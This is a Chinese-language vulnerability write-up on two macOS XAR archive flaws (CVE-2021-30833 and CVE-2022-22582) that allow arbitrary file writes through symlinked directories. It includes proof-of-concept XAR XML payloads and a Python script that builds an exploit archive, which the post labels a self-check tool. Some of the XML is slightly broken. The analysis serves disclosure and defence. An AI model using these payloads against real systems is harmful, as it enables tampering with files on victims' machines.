2021 年 10 月,Apple 发布了 CVE-2021-30833漏洞补丁,但是包含了另一个漏洞CVE-2022-22582。
Apple macOS XAR 任意文件写入漏洞分析
0x01 前言
2021 年 10 月,苹果发布了 CVE-2021-30833 漏洞补丁。这是是由于在处理目录链接时未正确处理路径分隔(正斜杠:/)字符造成的。在分析 CVE-2021-30833的补丁时,发现了一个新的漏洞,该漏洞在使用该程序解压缩恶意XAR存档时可能允许任意文件写入。
0x02 追溯CVE-2021-30833
XAR是macOS中使用的一种文件归档格式。使用命令行实用程序提取XAR归档文件。XAR最初是在开源环境下开发的,然而原来的项目不再经常被维护。苹果拥有自己的XAR for macOS分支,该分支发布在苹果的开源网站上。该程序存在一个逻辑漏洞,允许将文件提取到目标文件夹之外,从而导致文件系统上任意位置的任意文件写入。
<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<file id="1">
<link type="directory">/tmp/</link>
<type>symlink</type>
<name>x</name>
</file>
<file id="2">
<type>directory</type>
<name>x</name>
<file id="3">
<data>
<length>6</length>
<encoding style="application/octet-stream"/>
<offset>20</offset>
<size>6</size>
<extracted-checksum style="sha1">这里是sha-1加密</extracted-checksum>
<archived-checksum style="sha1">这里是sha-1加密</archived-checksum>
</data>
<type>file</type>
<name>foo</name>
</file>
</file>
</toc>
XAR存档格式支持对文件和目录路径进行存档和读取。读取包含目录路径和与目录符路径名相同的目录中的文件的文件时,将用原目录覆盖目录路径。这可以防止恶意创建的归档文件或目录。
但是,允许在<name></name>
中指定以正斜杠/
分隔的路径.只要该路径存在于当前目录中,就可以创建一个文件。其中包含一个目录符号链接,也包含一个带有指向提取的符号链接目录的name属性的文件。通过以这种方式恶意利用符号链接目录,我们可以将任意文件写入文件系统上的任何目录,前提是用户具有写入权限。
利用此漏洞的恶意文件的Poc示例:<name>x/foo</name>
漏洞EXP演示:
<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<file id="1">
<link type="directory">/tmp/</link>
<type>symlink</type>
<name>.x</name>
</file>
<file id="2">
<data>
<length>6</length>
<encoding style="application/octet-stream"/>
<offset>20</offset>
<size>6</size>
<extracted-checksum style="sha1"> aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d</extracted-checksum>
<archived-checksum style="sha1"> aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d</archived-checksum>
</data>
<type>file</type>
<name>.x/test</name>
</file>
</toc>
</xar>
在升级CVE-2021-30833补丁之后,在name属性中包含正斜杠的文件将转换为字符,如下面所示
> xar xar -tvf exploit.xar
?????????? unknown/unknown 6 1970-01-01 00:00:00 .x:test
?????????? unknown/unknown 0 1970-01-01 00:00:00 .x
> xar xar -xvf exploit.xar
.x:test
.x
> xar cat /tmp/test
cat: /tmp/test: No such file or directoryxar l
0x03 浅析CVE-2022-22582
CVE-2022-22582本质是对CVE-2021-30833的补丁程序的绕过再利用。
当我们试图读取同时包含目录路径和同名目录的文件时,会遇到一个错误,因为该目录是在路径之前创建的。但是,当我们放弃之前的思路,将会发现可以继续创建文件。
首先,我们创建一个文件,其中包含三个目录:
xml = b"""<?xml version="1.0" encoding="UTF-8"?><xar>
<toc>
<checksum style="sha1">
<offset>0</offset><size>20</size>
</checksum>
<file id="1">
<name>a</name>
<type>directory</type>
</file>
<file id="2">
<name>b</name>
<type>file</type
<data>
<archived-checksum style="sha1">{0}</archived-checksum><extracted-checksum style="sha1">{0}</extracted-checksum>
<size>6</size>
<offset>20</offset>
<encoding style="application/octet-stream" /><length>6</length>
</data>
</file>
<file id="3">
<name>c</name>
<type>symlink</type>
<link type="directory">/tmp/</link>
</file>
</toc>
</xar>""".format( hashlib.sha1(data).hexdigest())comp = zlib.compress(xml)
在输出内容时,我们可以看到目录"c"首先被处理
这意味着,将目录路径放在TOC中的目录之前(即从上到下的第一个目录),将导致TOC失败,并显示前面显示的消息。因为如果已经存在同名目录,它将拒绝创建新的,此时它将跳过符号链接创建,只将文件写入原来目录。
但是,如果我们将新目录路径放在目录的末尾,这将导致新目录创建成功。无论如何都会继续执行,我们在新创建的目录中创建文件。
总之,如果我们创建一个目录,末尾有一个目录,开头有一个包含文件的目录,我们会导致任意写入文件漏洞产生:
- 首先创建新目录
- 尝试创建目录(失败,但继续)
- 将文件写入我们的新目录(实现任意文件写入)
以下是利用此漏洞的Poc示例:
xml = b"""<?xml version="1.0"encoding="UTF-8"?><xar>
<toc>
<checksum style="sha1"><offset>0</offset><size>20</size></ checksum>
<file id="1"><name>.x</name>
<type>directory</type><file id="2">
<name>test</name><type>file</type><data>
<archived-checksum style="sha1">{0}</archived-checksum><extracted-checksum style="sha1">{0}</extracted-checksum><size>6</size>
<offset>20</offset>
<encoding style="application/octet-stream" /><length>6</length>
</data>
</file></file>
<file id="3"><name>.x</name>
<type>symlink</type>
<link type="directory">/tmp/</link></file>
</toc>
</xar>""".format( hashlib.sha1(data).hexdigest( ))comp = zlib.compress(xml)
我们可以看到该文件已成功创建
0x04 漏洞批量自查程序
程序在官方发布补丁后已经被公布,用来检测漏洞
import zlib
import hashlib
#### CVE-2022-22582 EXP
#### CVE-2021-30833 EXP
magic = 'xar!'.encode()
size = int.to_bytes(28,2,'big')
version = int.to_bytes(28,2,'big')
mydata = b'1111111'
datahash=str(hashlib.sha1(mydata).hexdigest())
datalength=str(len(mydata))
fnm='testing.sh'
xmlxx = f'''<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<file id="1">
<name>.x</name>
<type>directory</type>
<file id="2">
<name>{fnm}</name>
<type>file</type>
<data>
<archived-checksum style="sha1">{datahash}</archived-checksum>
<extracted-checksum style="sha1">{datahash}</extracted-checksum>
<size>{datalength}</size>
<offset>20</offset>
<encoding style="application/octet-stream"/>
<length>{datalength}</length>
</data>
</file>
</file>
<file id="3">
<name>.x</name>
<type>symlink</type>
<link type="directory">/tmp/</link>
</file>
</toc>
</xar>'''
compressed = zlib.compress(xmlxx.encode('utf-8'), 9)
h = hashlib.sha1(compressed).digest()
toc_length_compressed = int.to_bytes(len(compressed),8,'big')
toc_length_uncompressed = int.to_bytes(len(xmlxx.encode('utf-8')),8,'big')
chcksum_alg = int.to_bytes(1,4,'big')
heapcontent = h+mydata
mymodifiedxar = b''
mymodifiedxar += magic
mymodifiedxar += size
mymodifiedxar += version
mymodifiedxar += toc_length_compressed
mymodifiedxar += toc_length_uncompressed
mymodifiedxar += chcksum_alg
mymodifiedxar += compressed
mymodifiedxar += heapcontent
0x05 补丁
升级到 macOS Monterey 12.3、macOS Big Sur 11.6.5、macOS 10.15 安全更新 2022-003 或更高版本。
0x06 总结
苹果的开源项目因为逻辑问题,导致任意文件写入。我们在开发程序的时候要多注意,漏洞就在自己手底下!
- 本文作者: 局中人
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1426
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!